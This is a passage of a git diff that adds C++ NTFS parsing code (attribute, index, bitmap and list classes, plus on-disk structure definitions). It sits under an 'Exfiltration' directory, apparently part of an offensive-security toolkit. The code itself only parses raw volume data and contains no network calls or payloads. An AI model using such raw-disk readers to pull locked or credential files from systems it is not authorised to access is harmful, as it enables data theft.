FILETIME *createTm, FILETIME *accessTm) const +{ + CAttr_StdInfo::UTC2Local(FileName ? FileName->AlterTime : 0, writeTm); + + if (createTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->CreateTime : 0, createTm); + + if (accessTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->ReadTime : 0, accessTm); +} + + +//////////////////////////////// +// Attribute: File Name +//////////////////////////////// +class CAttr_FileName : public CAttrResident, public CFileName +{ +public: + CAttr_FileName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: File Name\n"); + + SetFileName((ATTR_FILE_NAME*)AttrBody); + } + + virtual ~CAttr_FileName() + { + NTFS_TRACE("CAttr_FileName deleted\n"); + } + +private: + // File permission and time in $FILE_NAME only updates when the filename changes + // So hide these functions to prevent user from getting the error information + // Standard Information and IndexEntry keeps the most recent file time and permission infomation + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const {} + __inline DWORD GetFilePermission(){} + __inline BOOL IsReadOnly() const {} + __inline BOOL IsHidden() const {} + __inline BOOL IsSystem() const {} + __inline BOOL IsCompressed() const {} + __inline BOOL IsEncrypted() const {} + __inline BOOL IsSparse() const {} +}; // CAttr_FileName + + +////////////////////////////////// +// Attribute: Volume Information +////////////////////////////////// +class CAttr_VolInfo : public CAttrResident +{ +public: + CAttr_VolInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Information\n"); + + VolInfo = (ATTR_VOLUME_INFORMATION*)AttrBody; + } + + virtual ~CAttr_VolInfo() + { + NTFS_TRACE("CAttr_VolInfo deleted\n"); + } + +private: + const ATTR_VOLUME_INFORMATION *VolInfo; + +public: + // Get NTFS Volume Version + __inline WORD GetVersion() + { + return MAKEWORD(VolInfo->MinorVersion, VolInfo->MajorVersion); + } +}; // CAttr_VolInfo + + +/////////////////////////// +// Attribute: Volume Name +/////////////////////////// +class CAttr_VolName : public CAttrResident +{ +public: + CAttr_VolName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Name\n"); + + NameLength = AttrBodySize >> 1; + VolNameU = new wchar_t[NameLength+1]; + VolNameA = new char[NameLength+1]; + + memcpy(VolNameU, AttrBody, AttrBodySize); + VolNameU[NameLength] = wchar_t('\0'); + + int len = WideCharToMultiByte(CP_ACP, 0, VolNameU, NameLength, + VolNameA, NameLength, NULL, NULL); + VolNameA[NameLength] = '\0'; + } + + virtual ~CAttr_VolName() + { + NTFS_TRACE("CAttr_VolName deleted\n"); + + delete VolNameU; + delete VolNameA; + } + +private: + wchar_t *VolNameU; + char *VolNameA; + DWORD NameLength; + +public: + // Get NTFS Volume Unicode Name + __inline int GetName(wchar_t *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + wcsncpy(buf, VolNameU, NameLength+1); + return NameLength; + } + + // ANSI Name + __inline int GetName(char *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + strncpy(buf, VolNameA, NameLength+1); + return NameLength; + } +}; // CAttr_VolInfo + + +///////////////////////////////////// +// Attribute: Data +///////////////////////////////////// +template +class CAttr_Data : public TYPE_RESIDENT +{ +public: + CAttr_Data(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) + { + NTFS_TRACE1("Attribute: Data (%sResident)\n", IsNonResident() ? "Non" : ""); + } + + virtual ~CAttr_Data() + { + NTFS_TRACE("CAttr_Data deleted\n"); + } +}; // CAttr_Data + + +///////////////////////////// +// Index Entry helper class +///////////////////////////// +class CIndexEntry : public CFileName +{ +public: + CIndexEntry() + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = TRUE; + + IndexEntry = NULL; + SetFileName(NULL); + } + + CIndexEntry(const INDEX_ENTRY *ie) + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = FALSE; + + _ASSERT(ie); + IndexEntry = ie; + + if (IsSubNodePtr()) + { + NTFS_TRACE("Points to sub-node\n"); + } + + if (ie->StreamSize) + { + SetFileName((ATTR_FILE_NAME*)(ie->Stream)); + } + else + { + NTFS_TRACE("No FileName stream found\n"); + } + } + + virtual ~CIndexEntry() + { + // Never touch *IndexEntry here if IsCopy == FALSE ! + // As the memory have been deallocated by ~CIndexBlock() + + if (IsCopy && IndexEntry) + delete (void*)IndexEntry; + + NTFS_TRACE("CIndexEntry deleted\n"); + } + +private: + BOOL IsDefault; + +protected: + const INDEX_ENTRY *IndexEntry; + +public: + // Use with caution ! + CIndexEntry& operator = (const CIndexEntry &ieClass) + { + if (!IsDefault) + { + NTFS_TRACE("Cannot call this routine\n"); + return *this; + } + + NTFS_TRACE("Index Entry Copied\n"); + + IsCopy = TRUE; + + if (IndexEntry) + { + delete (void*)IndexEntry; + IndexEntry = NULL; + } + + const INDEX_ENTRY *ie = ieClass.IndexEntry; + _ASSERT(ie && (ie->Size > 0)); + + IndexEntry = (INDEX_ENTRY*)new BYTE[ie->Size]; + memcpy((void*)IndexEntry, ie, ie->Size); + CopyFileName(&ieClass, (ATTR_FILE_NAME*)(IndexEntry->Stream)); + + return *this; + } + + __inline ULONGLONG GetFileReference() const + { + if (IndexEntry) + return IndexEntry->FileReference & 0x0000FFFFFFFFFFFFUL; + else + return (ULONGLONG)-1; + } + + __inline BOOL IsSubNodePtr() const + { + if (IndexEntry) + return (IndexEntry->Flags & INDEX_ENTRY_FLAG_SUBNODE); + else + return FALSE; + } + + __inline ULONGLONG GetSubNodeVCN() const + { + if (IndexEntry) + return *(ULONGLONG*)((BYTE*)IndexEntry + IndexEntry->Size - 8); + else + return (ULONGLONG)-1; + } +}; // CIndexEntry + + +/////////////////////////////// +// Index Block helper class +/////////////////////////////// +class CIndexBlock : public CIndexEntryList +{ +public: + CIndexBlock() + { + NTFS_TRACE("Index Block\n"); + + IndexBlock = NULL; + } + + virtual ~CIndexBlock() + { + NTFS_TRACE("IndexBlock deleted\n"); + + if (IndexBlock) + delete IndexBlock; + } + +private: + INDEX_BLOCK *IndexBlock; + +public: + INDEX_BLOCK *AllocIndexBlock(DWORD size) + { + // Free previous data if any + if (GetCount() > 0) + RemoveAll(); + if (IndexBlock) + delete IndexBlock; + + IndexBlock = (INDEX_BLOCK*)new BYTE[size]; + + return IndexBlock; + } +}; // CIndexBlock + + +///////////////////////////////////// +// Attribute: Index Root (Resident) +///////////////////////////////////// +class CAttr_IndexRoot : public CAttrResident, public CIndexEntryList +{ +public: + CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexRoot(); + +private: + const ATTR_INDEX_ROOT *IndexRoot; + + void ParseIndexEntries(); + +public: + __inline BOOL IsFileName() const; +}; // CAttr_IndexRoot + +CAttr_IndexRoot::CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr): CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Root\n"); + + IndexRoot = (ATTR_INDEX_ROOT*)AttrBody; + + if (IsFileName()) + { + ParseIndexEntries(); + } + else + { + NTFS_TRACE("Index View not supported\n"); + } +} + +CAttr_IndexRoot::~CAttr_IndexRoot() +{ + NTFS_TRACE("CAttr_IndexRoot deleted\n"); +} + +// Get all the index entries +void CAttr_IndexRoot::ParseIndexEntries() +{ + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(IndexRoot->EntryOffset)) + IndexRoot->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= IndexRoot->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } +} + +// Check if this IndexRoot contains FileName or IndexView +__inline BOOL CAttr_IndexRoot::IsFileName() const +{ + return (IndexRoot->AttrType == ATTR_TYPE_FILE_NAME); +} + + +///////////////////////////////////////////// +// Attribute: Index Allocation (NonResident) +///////////////////////////////////////////// +class CAttr_IndexAlloc : public CAttrNonResident +{ +public: + CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexAlloc(); + +private: + ULONGLONG IndexBlockCount; + + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + +public: + __inline ULONGLONG GetIndexBlockCount(); + BOOL ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass); +}; // CAttr_IndexAlloc + +CAttr_IndexAlloc::CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrNonResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Allocation\n"); + + IndexBlockCount = 0; + + if (IsDataRunOK()) + { + // Get total number of Index Blocks + ULONGLONG ibTotalSize; + ibTotalSize = GetDataSize(); + if (ibTotalSize % _IndexBlockSize) + { + NTFS_TRACE2("Cannot calulate number of IndexBlocks, total size = %I64u, unit = %u\n", + ibTotalSize, _IndexBlockSize); + return; + } + IndexBlockCount = ibTotalSize / _IndexBlockSize; + } + else + { + NTFS_TRACE("Index Allocation DataRun parse error\n"); + } +} + +CAttr_IndexAlloc::~CAttr_IndexAlloc() +{ + NTFS_TRACE("CAttr_IndexAlloc deleted\n"); +} + +// Verify US and update sectors +BOOL CAttr_IndexAlloc::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray) +{ + int i; + + for (i=0; i>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +__inline ULONGLONG CAttr_IndexAlloc::GetIndexBlockCount() +{ + return IndexBlockCount; +} + +// Parse a single Index Block +// vcn = Index Block VCN in Index Allocation Data Attributes +// ibClass holds the parsed Index Entries +BOOL CAttr_IndexAlloc::ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass) +{ + if (vcn >= IndexBlockCount) // Bounds check + return FALSE; + + // Allocate buffer for a single Index Block + INDEX_BLOCK *ibBuf = ibClass.AllocIndexBlock(_IndexBlockSize); + + // Sectors Per Index Block + DWORD sectors = _IndexBlockSize / _SectorSize; + + // Read one Index Block + DWORD len; + if (ReadData(vcn*_IndexBlockSize, ibBuf, _IndexBlockSize, &len) && + len == _IndexBlockSize) + { + if (ibBuf->Magic != INDEX_BLOCK_MAGIC) + { + NTFS_TRACE("Index Block parse error: Magic mismatch\n"); + return FALSE; + } + + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)ibBuf + ibBuf->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (!PatchUS((WORD*)ibBuf, sectors, usn, usarray)) + { + NTFS_TRACE("Index Block parse error: Update Sequence Number\n"); + return FALSE; + } + + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(ibBuf->EntryOffset)) + ibBuf->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= ibBuf->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + ibClass.InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } + + return TRUE; + } + else + return FALSE; +} + + +//////////////////////////////////////////// +// Attribute: Bitmap +//////////////////////////////////////////// +template +class CAttr_Bitmap : public TYPE_RESIDENT +{ +public: + CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_Bitmap(); + +private: + ULONGLONG BitmapSize; // Bitmap data size + BYTE *BitmapBuf; // Bitmap data buffer + LONGLONG CurrentCluster; + +public: + BOOL IsClusterFree(const ULONGLONG &cluster) const; +}; // CAttr_Bitmap + +template +CAttr_Bitmap::CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE1("Attribute: Bitmap (%sResident)\n", IsNonResident() ? "Non" : ""); + + CurrentCluster = -1; + + if (IsDataRunOK()) + { + BitmapSize = GetDataSize(); + + if (IsNonResident()) + BitmapBuf = new BYTE[_ClusterSize]; + else + { + BitmapBuf = new BYTE[(DWORD)BitmapSize]; + + DWORD len; + if (!(ReadData(0, BitmapBuf, (DWORD)BitmapSize, &len) + && len == (DWORD)BitmapSize)) + { + BitmapBuf = NULL; + NTFS_TRACE("Read Resident Bitmap data failed\n"); + } + else + { + NTFS_TRACE1("%u bytes of resident Bitmap data read\n", len); + } + } + } + else + { + BitmapSize = 0; + BitmapBuf = 0; + } +} + +template +CAttr_Bitmap::~CAttr_Bitmap() +{ + if (BitmapBuf) + delete BitmapBuf; + + NTFS_TRACE("CAttr_Bitmap deleted\n"); +} + +// Verify if a single cluster is free +template +BOOL CAttr_Bitmap::IsClusterFree(const ULONGLONG &cluster) const +{ + if (!IsDataRunOK() || !BitmapBuf) + return FALSE; + + if (IsNonResident()) + { + LONGLONG idx = (LONGLONG)cluster >> 3; + DWORD clusterSize = ((CNTFSVolume*)Volume)->GetClusterSize(); + + LONGLONG clusterOffset = idx/clusterSize; + cluster -= (clusterOffset*clusterSize*8); + + // Read one cluster of data if buffer mismatch + if (CurrentCluster != clusterOffset) + { + DWORD len; + if (ReadData(clusterOffset, BitmapBuf, clusterSize, &len) && len == clusterSize) + { + CurrentCluster = clusterOffset; + } + else + { + CurrentCluster = -1; + return FALSE; + } + } + } + + // All the Bitmap data is already in BitmapBuf + DWORD idx = (DWORD)(cluster >> 3); + if (IsNonResident() == FALSE) + { + if (idx >= BitmapSize) + return TRUE; // Resident data bounds check error + } + + BYTE fac = (BYTE)(cluster % 8); + + return ((BitmapBuf[idx] & (1< CFileRecordList; + +//////////////////////////////////////////// +// Attribute: Attribute List +//////////////////////////////////////////// +template +class CAttr_AttrList : public TYPE_RESIDENT +{ +public: + CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_AttrList(); + +private: + CFileRecordList FileRecordList; +}; // CAttr_AttrList + +template +CAttr_AttrList::CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE("Attribute: Attribute List\n"); + if (fr->FileReference == (ULONGLONG)-1) + return; + + ULONGLONG offset = 0; + DWORD len; + ATTR_ATTRIBUTE_LIST alRecord; + + while (ReadData(offset, &alRecord, sizeof(ATTR_ATTRIBUTE_LIST), &len) && + len == sizeof(ATTR_ATTRIBUTE_LIST)) + { + if (ATTR_INDEX(alRecord.AttrType) > ATTR_NUMS) + { + NTFS_TRACE("Attribute List parse error1\n"); + break; + } + + NTFS_TRACE1("Attribute List: 0x%04x\n", alRecord.AttrType); + + ULONGLONG recordRef = alRecord.BaseRef & 0x0000FFFFFFFFFFFFUL; + if (recordRef != fr->FileReference) // Skip contained attributes + { + DWORD am = ATTR_MASK(alRecord.AttrType); + if (am & fr->AttrMask) // Skip unwanted attributes + { + CFileRecord *frnew = new CFileRecord(fr->Volume); + FileRecordList.InsertEntry(frnew); + + frnew->AttrMask = am; + if (!frnew->ParseFileRecord(recordRef)) + { + NTFS_TRACE("Attribute List parse error2\n"); + break; + } + frnew->ParseAttrs(); + + // Insert new found AttrList to fr->AttrList + const CAttrBase *ab = (CAttrBase*)frnew->FindFirstAttr(alRecord.AttrType); + while (ab) + { + CAttrList *al = (CAttrList*)&fr->AttrList[ATTR_INDEX(alRecord.AttrType)]; + al->InsertEntry((CAttrBase*)ab); + ab = frnew->FindNextAttr(alRecord.AttrType); + } + + // Throw away frnew->AttrList entries to prevent free twice (fr will delete them) + frnew->AttrList[ATTR_INDEX(alRecord.AttrType)].ThrowAll(); + } + } + + offset += alRecord.RecordSize; + } +} + +template +CAttr_AttrList::~CAttr_AttrList() +{ + NTFS_TRACE("CAttr_AttrList deleted\n"); +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h new file mode 100644 index 0000000..b7c2813 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h @@ -0,0 +1,317 @@ +/* + * NTFS Class common definitions + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_COMMON_H_CYB70289 +#define __NTFS_COMMON_H_CYB70289 + +#include +#include +#include +#include + +#include "NTFS_DataType.h" + +#define ATTR_NUMS 16 // Attribute Types count +#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2 +#define ATTR_MASK(at) (((DWORD)1)< +struct NTSLIST_ENTRY +{ + NTSLIST_ENTRY *Next; + ENTRY_TYPE *Entry; +}; + +// List Entry Smart Pointer +template +class CEntrySmartPtr +{ +public: + CEntrySmartPtr(ENTRY_TYPE *ptr = NULL) + { + EntryPtr = ptr; + } + + virtual ~CEntrySmartPtr() + { + if (EntryPtr) + delete EntryPtr; + } + +private: + const ENTRY_TYPE *EntryPtr; + +public: + __inline CEntrySmartPtr operator = (const ENTRY_TYPE* ptr) + { + // Delete previous pointer if allocated + if (EntryPtr) + delete EntryPtr; + + EntryPtr = ptr; + + return *this; + } + + __inline const ENTRY_TYPE* operator->() const + { + _ASSERT(EntryPtr); + return EntryPtr; + } + + __inline BOOL IsValid() const + { + return EntryPtr != NULL; + } +}; + +////////////////////////////////////// +// Single list implementation +////////////////////////////////////// +template +class CSList +{ +public: + CSList() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + virtual ~CSList() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY *ListHead; + NTSLIST_ENTRY *ListTail; + NTSLIST_ENTRY *ListCurrent; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to tail + BOOL InsertEntry(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY *le = new NTSLIST_ENTRY; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = NULL; + + if (ListTail == NULL) + ListHead = le; // Empty list + else + ListTail->Next = le; + + ListTail = le; + + EntryCount++; + return TRUE; + } + + // Remove all entries + void RemoveAll() + { + while (ListHead) + { + ListCurrent = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = ListCurrent; + } + + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + // Find first entry + __inline ENTRY_TYPE *FindFirstEntry() const + { + ((CSList*)this)->ListCurrent = ListHead; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Find next entry + __inline ENTRY_TYPE *FindNextEntry() const + { + if (ListCurrent) + ((CSList*)this)->ListCurrent = ListCurrent->Next; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Throw all entries + // Caution! All entries are just thrown without free + __inline void ThrowAll() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } +}; //CSList + + +////////////////////////////////////// +// Stack implementation +////////////////////////////////////// +template +class CStack +{ +public: + CStack() + { + ListHead = ListTail = NULL; + EntryCount = 0; + } + + virtual ~CStack() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY *ListHead; + NTSLIST_ENTRY *ListTail; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to head + BOOL Push(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY *le = new NTSLIST_ENTRY; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = ListHead; + + ListHead = le; + + if (ListTail == NULL) + ListTail = le; // Empty list + + EntryCount ++; + return TRUE; + } + + // Remove from head + ENTRY_TYPE* Pop() + { + if (ListHead == NULL) + return NULL; + + NTSLIST_ENTRY *le = ListHead; + ENTRY_TYPE *e = le->Entry; + + if (ListTail == ListHead) + ListTail = ListHead->Next; + ListHead = ListHead->Next; + + delete le; + EntryCount --; + + return e; + } + + // Remove all entries + void RemoveAll() + { + NTSLIST_ENTRY *le; + + while (ListHead) + { + le = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = le; + } + + ListHead = ListTail = NULL; + EntryCount = 0; + } +}; //CStack + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h new file mode 100644 index 0000000..7d9ccc0 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h @@ -0,0 +1,380 @@ +/* + * NTFS data structures and definitions + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_DATATYPE_H_CYB70289 +#define __NTFS_DATATYPE_H_CYB70289 + +// NTFS Boot Sector BPB + +#define NTFS_SIGNATURE "NTFS " + +#pragma pack(1) +typedef struct tagNTFS_BPB +{ + // jump instruction + BYTE Jmp[3]; + + // signature + BYTE Signature[8]; + + // BPB and extended BPB + WORD BytesPerSector; + BYTE SectorsPerCluster; + WORD ReservedSectors; + BYTE Zeros1[3]; + WORD NotUsed1; + BYTE MediaDescriptor; + WORD Zeros2; + WORD SectorsPerTrack; + WORD NumberOfHeads; + DWORD HiddenSectors; + DWORD NotUsed2; + DWORD NotUsed3; + ULONGLONG TotalSectors; + ULONGLONG LCN_MFT; + ULONGLONG LCN_MFTMirr; + DWORD ClustersPerFileRecord; + DWORD ClustersPerIndexBlock; + BYTE VolumeSN[8]; + + // boot code + BYTE Code[430]; + + //0xAA55 + BYTE _AA; + BYTE _55; +} NTFS_BPB; +#pragma pack() + + +// MFT Indexes +#define MFT_IDX_MFT 0 +#define MFT_IDX_MFT_MIRR 1 +#define MFT_IDX_LOG_FILE 2 +#define MFT_IDX_VOLUME 3 +#define MFT_IDX_ATTR_DEF 4 +#define MFT_IDX_ROOT 5 +#define MFT_IDX_BITMAP 6 +#define MFT_IDX_BOOT 7 +#define MFT_IDX_BAD_CLUSTER 8 +#define MFT_IDX_SECURE 9 +#define MFT_IDX_UPCASE 10 +#define MFT_IDX_EXTEND 11 +#define MFT_IDX_RESERVED12 12 +#define MFT_IDX_RESERVED13 13 +#define MFT_IDX_RESERVED14 14 +#define MFT_IDX_RESERVED15 15 +#define MFT_IDX_USER 16 + + +/****************************** + File Record + --------------------- + | File Record Header| + --------------------- + | Attribute 1 | + --------------------- + | Attribute 2 | + --------------------- + | ...... | + --------------------- + | 0xFFFFFFFF | + --------------------- +*******************************/ + +// File Record Header + +#define FILE_RECORD_MAGIC 'ELIF' +#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use +#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory + +typedef struct tagFILE_RECORD_HEADER +{ + DWORD Magic; // "FILE" + WORD OffsetOfUS; // Offset of Update Sequence + WORD SizeOfUS; // Size in words of Update Sequence Number & Array + ULONGLONG LSN; // $LogFile Sequence Number + WORD SeqNo; // Sequence number + WORD Hardlinks; // Hard link count + WORD OffsetOfAttr; // Offset of the first Attribute + WORD Flags; // Flags + DWORD RealSize; // Real size of the FILE record + DWORD AllocSize; // Allocated size of the FILE record + ULONGLONG RefToBase; // File reference to the base FILE record + WORD NextAttrId; // Next Attribute Id + WORD Align; // Align to 4 byte boundary + DWORD RecordNo; // Number of this MFT Record +} FILE_RECORD_HEADER; + + +/****************************** + Attribute + -------------------- + | Attribute Header | + -------------------- + | Attribute Data | + -------------------- +*******************************/ + +// Attribute Header + +#define ATTR_TYPE_STANDARD_INFORMATION 0x10 +#define ATTR_TYPE_ATTRIBUTE_LIST 0x20 +#define ATTR_TYPE_FILE_NAME 0x30 +#define ATTR_TYPE_OBJECT_ID 0x40 +#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50 +#define ATTR_TYPE_VOLUME_NAME 0x60 +#define ATTR_TYPE_VOLUME_INFORMATION 0x70 +#define ATTR_TYPE_DATA 0x80 +#define ATTR_TYPE_INDEX_ROOT 0x90 +#define ATTR_TYPE_INDEX_ALLOCATION 0xA0 +#define ATTR_TYPE_BITMAP 0xB0 +#define ATTR_TYPE_REPARSE_POINT 0xC0 +#define ATTR_TYPE_EA_INFORMATION 0xD0 +#define ATTR_TYPE_EA 0xE0 +#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100 + +#define ATTR_FLAG_COMPRESSED 0x0001 +#define ATTR_FLAG_ENCRYPTED 0x4000 +#define ATTR_FLAG_SPARSE 0x8000 + +typedef struct tagATTR_HEADER_COMMON +{ + DWORD Type; // Attribute Type + DWORD TotalSize; // Length (including this header) + BYTE NonResident; // 0 - resident, 1 - non resident + BYTE NameLength; // name length in words + WORD NameOffset; // offset to the name + WORD Flags; // Flags + WORD Id; // Attribute Id +} ATTR_HEADER_COMMON; + +typedef struct tagATTR_HEADER_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + DWORD AttrSize; // Length of the attribute body + WORD AttrOffset; // Offset to the Attribute + BYTE IndexedFlag; // Indexed flag + BYTE Padding; // Padding +} ATTR_HEADER_RESIDENT; + +typedef struct tagATTR_HEADER_NON_RESIDENT +{ + ATTR_HEADER_COMMON Header; // Common data structure + ULONGLONG StartVCN; // Starting VCN + ULONGLONG LastVCN; // Last VCN + WORD DataRunOffset; // Offset to the Data Runs + WORD CompUnitSize; // Compression unit size + DWORD Padding; // Padding + ULONGLONG AllocSize; // Allocated size of the attribute + ULONGLONG RealSize; // Real size of the attribute + ULONGLONG IniSize; // Initialized data size of the stream +} ATTR_HEADER_NON_RESIDENT; + + +// Attribute: STANDARD_INFORMATION + +#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001 +#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002 +#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004 +#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020 +#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040 +#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080 +#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100 +#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200 +#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400 +#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800 +#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000 +#define ATTR_STDINFO_PERMISSION_NCI 0x00002000 +#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000 + +typedef struct tagATTR_STANDARD_INFORMATION +{ + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG ReadTime; // File read time + DWORD Permission; // Dos file permission + DWORD MaxVersionNo; // Maxim number of file versions + DWORD VersionNo; // File version number + DWORD ClassId; // Class Id + DWORD OwnerId; // Owner Id + DWORD SecurityId; // Security Id + ULONGLONG QuotaCharged; // Quota charged + ULONGLONG USN; // USN Journel +} ATTR_STANDARD_INFORMATION; + + +// Attribute: ATTRIBUTE_LIST + +typedef struct tagATTR_ATTRIBUTE_LIST +{ + DWORD AttrType; // Attribute type + WORD RecordSize; // Record length + BYTE NameLength; // Name length in characters + BYTE NameOffset; // Name offset + ULONGLONG StartVCN; // Start VCN + ULONGLONG BaseRef; // Base file reference to the attribute + WORD AttrId; // Attribute Id +} ATTR_ATTRIBUTE_LIST; + +// Attribute: FILE_NAME + +#define ATTR_FILENAME_FLAG_READONLY 0x00000001 +#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002 +#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004 +#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020 +#define ATTR_FILENAME_FLAG_DEVICE 0x00000040 +#define ATTR_FILENAME_FLAG_NORMAL 0x00000080 +#define ATTR_FILENAME_FLAG_TEMP 0x00000100 +#define ATTR_FILENAME_FLAG_SPARSE 0x00000200 +#define ATTR_FILENAME_FLAG_REPARSE 0x00000400 +#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800 +#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000 +#define ATTR_FILENAME_FLAG_NCI 0x00002000 +#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000 +#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000 +#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000 + +#define ATTR_FILENAME_NAMESPACE_POSIX 0x00 +#define ATTR_FILENAME_NAMESPACE_WIN32 0x01 +#define ATTR_FILENAME_NAMESPACE_DOS 0x02 + +typedef struct tagATTR_FILE_NAME +{ + ULONGLONG ParentRef; // File reference to the parent directory + ULONGLONG CreateTime; // File creation time + ULONGLONG AlterTime; // File altered time + ULONGLONG MFTTime; // MFT changed time + ULONGLONG 